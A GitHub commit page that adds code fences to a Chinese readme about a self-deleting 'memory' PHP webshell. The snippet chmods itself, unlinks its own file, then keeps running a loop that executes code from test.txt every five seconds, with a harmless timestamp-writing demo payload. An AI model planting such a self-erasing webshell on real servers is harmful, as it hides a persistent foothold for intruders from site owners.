Skip to content

Commit

Permalink
Update readme.md
Browse files Browse the repository at this point in the history
  • Loading branch information
tennc authored May 30, 2021
1 parent a978dd7 commit ff8712d
Showing 1 changed file with 2 additions and 0 deletions.
2 changes: 2 additions & 0 deletions php/MemShellForPHP/readme.md
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,7 @@ php删除自身时借助的函数为
unlink($_SERVER['SCRIPT_FILENAME']);
unlink函数运行条件较为苛刻,该脚本要具备可执行权限、可修改文件权限时方能执行。
简单的webshell脚本:
``` php
<?php
chmod($_SERVER['SCRIPT_FILENAME'], 0777);
unlink($_SERVER['SCRIPT_FILENAME']);
Expand All @@ -24,6 +25,7 @@ unlink函数运行条件较为苛刻,该脚本要具备可执行权限、可
sleep(5);
};
?>
```
test.txt中的代码如下:
file_put_contents('printTime.txt','jweny '.time());
webshell执行后,删除自身,并在该目录生成 printTime.txt,每五秒一次写入一次时间戳。
Expand Down

0 comments on commit ff8712d

Please sign in to comment.